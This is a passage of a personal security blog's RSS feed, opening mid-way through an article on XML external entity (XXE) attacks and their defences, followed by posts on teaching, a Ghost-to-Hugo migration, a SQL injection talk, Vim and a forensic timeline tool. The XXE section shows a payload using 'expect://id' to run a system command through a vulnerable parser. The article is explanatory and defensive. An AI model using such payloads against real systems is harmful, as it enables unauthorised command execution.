 &amp;lt;!ENTITY cmd SYSTEM &amp;quot;expect://id&amp;quot; &amp;gt;
]&amp;gt;
&amp;lt;hacks&amp;gt;&amp;amp;cmd;&amp;lt;/hacks&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This would execute the &lt;code&gt;id&lt;/code&gt; command on the system and would place the results
inside the hacks tags. This would allow an attacker to know exactly what context
and prvilidges would be available for further commands or file requests.&lt;/p&gt;

&lt;h3 id=&#34;and-many-more&#34;&gt;And Many More&amp;hellip;&lt;/h3&gt;

&lt;p&gt;There are many other things that could be done by leveraging XXE attacks. These
could include &lt;a href=&#34;https://goo.gl/9em1lH&#34;&gt;Out-Of-Band attacks&lt;/a&gt;, that would still
allow for exfiltration even when the contents of the XML aren&amp;rsquo;t being reflected
back to the attacker. Or file uploads, which leverages attacks against Java
parsers that will download jar files with these attacks.&lt;/p&gt;

&lt;h2 id=&#34;defending&#34;&gt;Defending&lt;/h2&gt;

&lt;p&gt;To defend against this type of attack, it first needs to be understood what is
vulnerable. The vulnerabilities lie in the parsing of the XML. Here are a few
examples of where XML is being used and parsed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File Uploadss

&lt;ul&gt;
&lt;li&gt;Document Formats (OOXML, PDF, ODF, GXML, etc…)&lt;/li&gt;
&lt;li&gt;Configuration Files&lt;/li&gt;
&lt;li&gt;Image Formats (SVG, EXIF headers, etc…)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Network Protocols

&lt;ul&gt;
&lt;li&gt;SOAP&lt;/li&gt;
&lt;li&gt;XMLRPC&lt;/li&gt;
&lt;li&gt;REST&lt;/li&gt;
&lt;li&gt;XMPP&lt;/li&gt;
&lt;li&gt;SAML&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is an incomplete list as there are more scenarios that need to be
considered. That being considered, XXE defense comes down to one axiom.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Know thy parser&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Once XXE attacks became known about, three different approaches were taken
to solve the problem.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Don&amp;rsquo;t reflect the XML back to the user:&lt;/p&gt;

&lt;p&gt;This approach is a more naive approach to fix the problem. It assumes That
like the examples of above, the attack requires the inclusion of the attacking
entity into a tag, whose contents are reflected back to the attacker. But this
is certainly not the case. An attacker could make use of error messages,
differences in timing, and even Out-Of-Band attack vectors to achieve the
same ends.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Allow developers to disable external entity parsing:&lt;/p&gt;

&lt;p&gt;This solution is a great step in the correct direction. However, it is still
lacking. If the developers are not aware that this is something they even
need to be concerned about, then how would they know to go looking for the
feature that allows them to disable this.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;External entity parsing disabled by default:&lt;/p&gt;

&lt;p&gt;This is the solution. There are a few notes here though.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Don&amp;rsquo;t turn it on&lt;/li&gt;
&lt;li&gt;Make sure the stay up to date / patched&lt;/li&gt;
&lt;li&gt;Use XSD instead of DTD for schema declarations.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you are using a parser that relies on method #1, it would be best to change
parsers. If you are using a parser that relies on method #2 then all the
developers need to be aware of the dangers of XXE attacks and insure that
external parsing is turned off.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>My New Passion: Teaching</title>
      <link>//caveconfessions.com/my-new-passion-teaching/</link>
      <pubDate>Tue, 26 May 2015 00:00:00 -0500</pubDate>
      
      <guid>//caveconfessions.com/my-new-passion-teaching/</guid>
      <description>&lt;p&gt;I have always been a person that loved to learn new things. I can be very
obsessive in that way. When I find something that I am interested in, I begin
to research and completely invest myself into that interest. Lately though I
have been passionate about becoming a better software developer, architect, and
security engineer. This means that I have been taking a lot of classes,
certifications, and reading everything I can get my hands on. This has led to
some interesting byproducts. Namely, being invited to join the SANS Mentor
Program.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&#34;https://www.sans.org/mentor/&#34;&gt;SANS Mentor Program&lt;/a&gt; has provided me the
opportunity to turn around and share what I have learned with others in a
structured way. It took the pressure of creating the curriculum off of me, and
just let me share. It inspired me, and I took the initiative to create my own
short lunch and learn sessions to help share web application security practices
that I had learned. It was really after these two events that I discovered I
really enjoyed teaching. Not only is it rewarding for me to help others learn
the things that I have learned, but it also has the excellent benefit for
reinforcing the lessons that I was sharing.&lt;/p&gt;

&lt;p&gt;With this new found discovery, I was encouraged to branch out a bit more and
started offering to speak at
&lt;a href=&#34;https://sites.google.com/site/nolasecurity/&#34;&gt;NolaSec&lt;/a&gt;. I have received nothing
but encouraging words from my peers at these various events. This helped
embolden me further, to the point that I submitted a few talks to a few
different conferences. I finally had a talked accepted and very much look
forward to giving it, which I plan to write up that experience in another post.&lt;/p&gt;

&lt;p&gt;In the last few weeks I have also joined up with &lt;a href=&#34;http://operationspark.org&#34;&gt;Operation
Spark&lt;/a&gt; and are teaching with them. This is super
exciting for me, since the audience for this group is at-risk teens. I&amp;rsquo;m
working with an amazing group of guys. And we are teaching a group of kids that
are really sharp and are soaking up everything we share with them. So far it&amp;rsquo;s
been a really great experience, and I look forward to seeing this all through.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ghost to Hugo</title>
      <link>//caveconfessions.com/ghost-to-hugo/</link>
      <pubDate>Sun, 15 Mar 2015 10:35:29 -0500</pubDate>
      
      <guid>//caveconfessions.com/ghost-to-hugo/</guid>
      <description>

&lt;p&gt;I recently converted my blog from using &lt;a href=&#34;https://ghost.org/&#34; title=&#34;Ghost&#34;&gt;Ghost&lt;/a&gt; to
&lt;a href=&#34;http://gohugo.io/&#34; title=&#34;Hugo&#34;&gt;Hugo&lt;/a&gt;. I made the decision to do this for a few
reasons, which I&amp;rsquo;ll explain below. As well as the process I used to do the
conversion.&lt;/p&gt;

&lt;h2 id=&#34;why-leave-ghost&#34;&gt;Why Leave Ghost?&lt;/h2&gt;

&lt;p&gt;Don&amp;rsquo;t get me wrong. I really liked Ghost. I think it was constructed really
well with bloggers in mind. It comes with extremely pretty, functional,
responsive designs that just work right out of the box. I found Ghost really
easy to manage and using markdown for the posts just made writing fun. So why
am I leaving? Well the biggest reason for me was security. I don&amp;rsquo;t really have
time to keep up with my server the way that I wanted and needed to make sure
that I have all the latest and greatest patches for node.js and Ghost. So I
made the decision to go with a static site generator instead.&lt;/p&gt;

&lt;p&gt;With a static site generator, I&amp;rsquo;m only serving up static html and resources.
This eliminates a lot of possible vulnerabilities and need for maintenance out
of the gate. So I found this very appealing. And hence the move.&lt;/p&gt;

&lt;h2 id=&#34;why-hugo&#34;&gt;Why Hugo?&lt;/h2&gt;

&lt;p&gt;I&amp;rsquo;ll be honest, Hugo was not the first static site generator that I tried. My
first attempt was really with using &lt;a href=&#34;http://getnikola.com/&#34;&gt;Nikola&lt;/a&gt;. Being a
huge fan and daily user of Python this just felt like the natural choice. I
quickly decided though that this was not the platform for me. I found it a bit
hard to get my head around, and even harder to port my current blog design
over. Themes really seem to be where Nikola is lacking. I think if there was a
better repository for them it might be a better choice. Though while trying to
find a port of the Casper theme, the theme used by ghost, I discovered a
&lt;a href=&#34;https://github.com/vjeantet/hugo-theme-casper&#34;&gt;ported theme&lt;/a&gt; for Hugo. So this
led me to looking into Hugo. First thing I found is that it was written in Go.
This was pretty awesome since I have started learning and working with Go and
really just falling in love with it. I installed it and tried it out. It just
worked and felt right.&lt;/p&gt;

&lt;h2 id=&#34;the-move&#34;&gt;The Move&lt;/h2&gt;

&lt;p&gt;I had been using Ghost for a while and so had a few posts that needed to move
with me to Hugo. To make that happen I had to get creative. I found a post on
the blog of the author of the Hugo Casper theme that talked about moving from
Ghost to Hugo so I read it. I found that he had used php script to take the
data from the Ghost export and create the markdown files used by Ghost. This
seemed like an easy enough proposal. However, I&amp;rsquo;m not really a big fan of php
(a long story for another time). So I figured I would do a quick port of the
script to Python so I could get up and running quickly. The php script on the
blog didn&amp;rsquo;t work without some help, the format of the json that Ghost exported
seemed to have changed since the script was created. After a few minutes and
few false starts I created the script:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python

import json
import datetime

with open(&#39;GhostData.json&#39;, &#39;rb&#39;) as data_file:
    ghost_data = json.load(data_file)

posts = ghost_data[&#39;db&#39;][0][&#39;data&#39;][&#39;posts&#39;]

for post in posts:
    created_at = datetime.datetime.fromtimestamp(
        post[&#39;created_at&#39;]/1000).isoformat()
    title = post[&#39;title&#39;]
    slug = post[&#39;slug&#39;]
    markdown = post[&#39;markdown&#39;]
    draft = &#39;false&#39; if post[&#39;published_at&#39;] else &#39;true&#39;
    published_at = (
        datetime.datetime.fromtimestamp(
            post[&#39;published_at&#39;]/1000).isoformat()
        if post[&#39;published_at&#39;]
        else datetime.datetime.fromtimestamp(
            post[&#39;created_at&#39;]/1000).isoformat()
    )

    with open(&#39;output/%s.md&#39; % slug, &#39;w&#39;) as post_file:
        post_file.write(&#39;+++\n&#39;)
        post_file.write(&#39;date = &amp;quot;%s&amp;quot;\n&#39; %
                        published_at.encode(&#39;utf8&#39;))
        post_file.write(&#39;draft = &amp;quot;%s&amp;quot;\n&#39; % draft.encode(&#39;utf8&#39;))
        post_file.write(&#39;title = &amp;quot;%s&amp;quot;\n&#39; % title.encode(&#39;utf8&#39;))
        post_file.write(&#39;slug = &amp;quot;%s&amp;quot;\n\n&#39; % slug.encode(&#39;utf8&#39;))
        post_file.write(&#39;+++\n\n&#39;)
        post_file.write(markdown.encode(&#39;utf8&#39;))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;After that, simply moved the files from &lt;code&gt;output&lt;/code&gt; to &lt;code&gt;content/post&lt;/code&gt; and run
&lt;code&gt;hugo&lt;/code&gt;, and BAM I had a blog.&lt;/p&gt;

&lt;h2 id=&#34;publishing&#34;&gt;Publishing&lt;/h2&gt;

&lt;p&gt;With the move to the static site, I also decided to make publishing my blog
posts easier. To accomplish this I setup a git repository on my server and
configured a post-receive hook that would deploy my site for me.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/bash

DEPLOY_DIR=&amp;lt;deploy directory&amp;gt;

GIT_WORK_TREE=&amp;quot;$DEPLOY_DIR&amp;quot; git checkout -f

cd &amp;quot;$DEPLOY_DIR&amp;quot; &amp;amp;&amp;amp; hugo -t casper --uglyUrls=true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This means when I&amp;rsquo;m ready to publish I simply do a &lt;code&gt;git push deploy&lt;/code&gt;. It&amp;rsquo;s
awesome!&lt;/p&gt;

&lt;h2 id=&#34;what-s-next&#34;&gt;What&amp;rsquo;s Next?&lt;/h2&gt;

&lt;p&gt;I decided that even though my one off python script worked, it didn&amp;rsquo;t bring
everything over. It missed the tags, for example. Also, it was Python and not
Go, this felt out of spirit with the whole change. So with that in mind, I&amp;rsquo;m
working on a more comprehensive conversion tool in Go. I should have a write up
all about it soon.&lt;/p&gt;

&lt;p&gt;I also think that I should look into setting up a cron job on my server that
can run every night and rebuild my site, in case there was post that was setup
with a scheduled post date, future date.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Make The Web SQueaL</title>
      <link>//caveconfessions.com/make-the-web-squeal/</link>
      <pubDate>Mon, 24 Nov 2014 07:38:00 +0000</pubDate>
      
      <guid>//caveconfessions.com/make-the-web-squeal/</guid>
      <description>

&lt;p&gt;&lt;img src=&#34;//caveconfessions.com/content/images/2014/Nov/SQueaL_Talk.jpg&#34; alt=&#34;First Talk&#34; /&gt;&lt;/p&gt;

&lt;p&gt;I gave my first public talk last week. It was a talk on SQL Injection that was
given at this month&amp;rsquo;s &lt;a href=&#34;https://sites.google.com/site/nolasecurity/&#34;&gt;NolaSec&lt;/a&gt;
meetup. And, I have to say, I really enjoyed the experience.&lt;/p&gt;

&lt;h2 id=&#34;the-talk&#34;&gt;The Talk&lt;/h2&gt;

&lt;p&gt;The talk was titled &amp;ldquo;Make The Web SQueaL: An Introduction to
SQL Injection.&amp;rdquo; It was a pretty quick talk. The goal when written was to make a
20 minute-ish talk with room for questions at the end. And I think I got pretty
close to that. It was really geared to being purely introductory. To that end
it was very high level with a few slides devoted to what is SQL and SQL
Injection. Then moving on to how SQL Injection works, and what can be done with
it.&lt;/p&gt;

&lt;p&gt;To go along with the talk I created a cool little lab environment, to help
demonstrate exactly what SQL Injection is, but I think I did a poor job of
introducing it at the end of the talk. My intent was to offer to demonstrate
after all the talks were concluded, but those words escaped me while I was up
there.&lt;/p&gt;

&lt;p&gt;Links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/jbarone/SQueaL/releases/download/v0.1/Make_The_Web_SQueaL.pdf&#34;&gt;The
Slides&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/jbarone/SQueaL&#34;&gt;The Lab&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;the-experience&#34;&gt;The Experience&lt;/h2&gt;

&lt;p&gt;The experience, for me, was the best part of the
night. Many of my co-workers expressed interest in attending the meetup. I&amp;rsquo;ve
given a few talks within the company before, on similar topics. And apparently
that was enough to make them what to learn more and support me. It was
extremely gratifying, and nerve wracking at the same time. A good handful of my
coworkers made it out.&lt;/p&gt;

&lt;p&gt;The talk itself made me a little nervous. During the introduction they pointed
out that it was probably one of the largest groups they have had attend one
these meetups. So, nothing like go big or go home. I presented my slides at a
pretty good clip, but I kept watching the faces in the crowd and from what I
could tell everyone was following. During the question and answer section. I
got a really good group of questions, that helped let me know that what I
talked about, was not only absorbed, but was being applied in their minds to
the work they do.&lt;/p&gt;

&lt;p&gt;In all. It was a great experience. And I very much look forward to doing it
again.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>I ❤ Vim</title>
      <link>//caveconfessions.com/i-heart-vim/</link>
      <pubDate>Fri, 15 Aug 2014 07:47:00 +0000</pubDate>
      
      <guid>//caveconfessions.com/i-heart-vim/</guid>
      <description>&lt;p&gt;I have been using Vi/Vim for a few years now, as my editor of choice. I feel like I&amp;rsquo;m a fairly proficient user, but I find myself constantly discoving new aspects of Vi&amp;rsquo;s badassness.&lt;/p&gt;

&lt;p&gt;As a simple example, last week I found myself making changes to several files. They all needed the same change. Go to the top of the page, and add a line to the second line. Find the occurance of specific string, and remove that line, perform search replace on next two.&lt;/p&gt;

&lt;p&gt;The task of doing this was exrememly repetitive and even though I created a macro, it was still time consuming. So&amp;hellip;. to the internets. It turns out there was a way in vim to perform the same command, or in this case vimscript, on every buffer loaded. So with a single line command, I was able to update all of the files in one go, and move on to more intersting work.&lt;/p&gt;

&lt;p&gt;I&amp;rsquo;m happier all the time that I decided to use Vim as my go to editor. I&amp;rsquo;m still learning new things about it all the time, and becoming more and more productive.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>TADpole v0.1</title>
      <link>//caveconfessions.com/tadpole-v0-1/</link>
      <pubDate>Fri, 25 Jul 2014 19:09:00 +0000</pubDate>
      
      <guid>//caveconfessions.com/tadpole-v0-1/</guid>
      <description>

&lt;p&gt;Today is my birthday. so what did I do with this day? I decided to finally get around to releasing TADpole. TADpole is the tool I created as part of my master&amp;rsquo;s thesis &amp;ldquo;&lt;a href=&#34;http://scholarworks.uno.edu/td/1609/&#34; title=&#34;Automated Timeline Anomaly Detection&#34;&gt;Automated Timeline Anomaly Detection&lt;/a&gt;.&amp;rdquo; To be honest I&amp;rsquo;ve been hesitant to release this. I am a perfectionist and the code was written to prove out the research. But, I&amp;rsquo;m finally getting over my ego, and I present to you TADpole.&lt;/p&gt;

&lt;h4 id=&#34;what-is-tadpole&#34;&gt;What is TADpole&lt;/h4&gt;

&lt;p&gt;TADpole is tool designed to aide forensic investigators during the initial triage of a system. The purpose of the tool is to determine if the system clock of the machine had been purposefully manipulated. An example of manipulation in this case would be someone changing the clock back two weeks to alter accounting information, then resetting the clock to current time. Currently TADpole only works for Windows systems.&lt;/p&gt;

&lt;h4 id=&#34;how-does-it-work&#34;&gt;How does it work&lt;/h4&gt;

&lt;p&gt;TADpole searches each file on a forensic disk image looking for Windows event log files. It then looks for entries in the log files that are anomalous. Once these anomalies are found, they are then correlated across multiple log files to increase the certainty that this anomaly is a true anomaly and not a mistake in the log file.&lt;/p&gt;

&lt;h4 id=&#34;where-can-you-get-it&#34;&gt;Where can you get it&lt;/h4&gt;

&lt;p&gt;The source code is available on my GitHub page &lt;a href=&#34;https://github.com/jbarone/tadpole&#34; title=&#34;https://github.com/jbarone/tadpole&#34;&gt;https://github.com/jbarone/tadpole&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Welcome</title>
      <link>//caveconfessions.com/welcome/</link>
      <pubDate>Wed, 02 Jul 2014 09:48:00 +0000</pubDate>
      
      <guid>//caveconfessions.com/welcome/</guid>
      <description>&lt;p&gt;This blog is intended to be a dumping ground of my thoughts and ideas on various topics. I plan to blog about everything from Information Security, to programming, to health and fitness. A fairly wide range, to be sure. I hope that you enjoy it, and come back often.&lt;/p&gt;

&lt;p&gt;Thanks&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>